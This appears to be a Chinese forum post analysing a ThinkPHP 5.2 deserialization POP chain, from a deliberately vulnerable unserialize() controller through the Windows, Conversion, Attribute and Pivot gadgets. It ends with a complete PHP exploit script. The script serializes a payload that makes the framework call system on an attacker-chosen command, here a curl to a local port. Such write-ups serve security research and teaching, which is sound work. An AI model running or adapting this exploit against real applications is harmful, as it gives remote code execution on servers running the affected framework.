【迎国庆】POP链学习之ThinkPHP 5.2反序列化

前言

buuoj因为特殊原因暂时关闭了,没题刷了,那咋办嘛。最近thinkphp反序列化很火,遂补下落下的坑。

环境搭建

# 安装
composer create-project topthink/think=5.2.x-dev v5.2
# 开启
cd /v5.2
php think run

/app/controller/index.php

<?php
namespace app\controller;

class Index
{
    public function index($input='')
    {   
        echo $input;
        unserialize($input);   
    }
}

POP链分析

反序列化入口于class Windows::__destruct

1569945074405

file_exists可以触发__toString魔术方法,且这里$this->files可控

1569945085568

全局搜__toString,跟进conversiontoJson方法

1569945170074

跟进toArray方法,分析方法,需要考虑

  1. 哪些是类变量调用的参数
  2. 有没有哪些类变量调用可以执行魔术方法当做跳板

ps:常见跳板__toString、__get、__set、__isset


跟进getAttr方法,再跟进getValue方法。存在动态函数调用,我们去溯源下这几个参数

$closure、$value、$this->data

首先是$value参数,回到AttributegetAttr方法,$value值由传入的$name决定且带入getData方法,getRealFieldName方法返回值又为$name值,接着带入$this->data[$fileName]。和data数组相关

再往回看,这里$key值是Conversion类参数中$this->data和$this->relation键值可控。

需要明白的是Conversion类是trait型,需要找到use它的类。定位到model

1569946075634

1569946085684

modle构造方法中$this->data值是调用该该构造方法时候传入,由于是抽象类需要找到他的子类.

定位至Pivot类,这里调用了父类构造方法

$closure参数

至此漏洞点处的$value值已经分析完了,继续看漏洞点$closure参数。

withAttr为类变量可控,继续跟进$fieldName

跟进getRealFieldName方法,传入参数为$name也是可控的。该值上面已经分析了为data数组键。

由于$this->stricttrue 直接返回$name

可以这样构造。

 $this->withAttr = array("paper"=>'system'); 
 => $closure='system';

EXP

参考链接中利用了\Opis\Closure可用于序列化匿名函数

这里直接用system函数

<?php
namespace think\process\pipes {
    class Windows{
        private $files = [];
        function __construct($files)
        {
            $this->files = $files;
        }
    }
}

namespace think\model\concern {
    trait Conversion{
        protected $visible;
    }

    trait RelationShip{
        private $relation;
    }

    trait Attribute{
        private $withAttr;
        private $data;
    }
}

namespace think {
    abstract class Model{
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute;

        function __construct($closure)
        {
            $this->data = $closure;
            $this->relation = [];
            $this->visible= [];
            $this->withAttr = array("paper"=>'system');
        }
    }
}

namespace think\model {
    class Pivot extends \think\Model{
        function __construct($closure)
        {
            parent::__construct($closure);
        }
    }
}
namespace{
    $pivot = new think\model\Pivot(['paper'=>'curl http://127.0.0.1:8897']);
    $windows = new think\process\pipes\Windows([$pivot]);
    echo urlencode(serialize($windows));
}

POP

参考链接

2 个赞

这里是不是少图?

以添加 :nerd_face: